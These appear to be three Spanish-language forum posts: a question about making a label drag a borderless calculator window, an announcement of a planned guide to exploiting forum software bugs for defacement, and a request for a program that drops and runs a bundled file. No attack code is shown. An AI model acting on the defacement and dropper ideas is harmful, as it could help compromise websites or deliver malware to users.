    Veran he creado una calculadora y ahora estoy dandola una apariencia grafica un poco personalizada, pa q quede mas bonita ;D, y claro tambien quiero quitar la barra q tienen arriba todos los programas.

    Hasta aqui lo ago todo sin problemas pero cuando sustitullo la barra por un label, logicamente, no puedo mover el formulario por la pantalla, se me queda hay parado.

    Mi duda es ¿cómo puedo hacer para que ese label actue como si fuera la barra de windows? :huh:

    Gracias de antemano por su ayuda.

    Salu2
    #43
    Hola a todos:

    Acontinuación voy a colgar un pequeño manual en el que se explica como aprovechar los numeros bug's con los que cuentan muchos foros y asi entender como algunas personas llegan a hacer un "deface".

    Espero que tras leerlo no comenceis a jorobar los foros de todo el mundo (eso es algo realmente estupido) este manual SOLO vale para aprender.

    Hiré ampliando la información segun pueda, y os invito a colaborar y colgar los agujeros de seguridad que conozcais par hacer asi entre todos un buen manual.

    Salu2
    #44
    Hola creo q mi duda es muy simple asi q espero q me la puedan resolver:
    lo q yo quiero es crear un programa q al ser ejecutado guarde en una direccion del ordenador un archivo que iria adjunto a el y lo ejecute
    Muchas gracias a todos

    salu2 :rolleyes: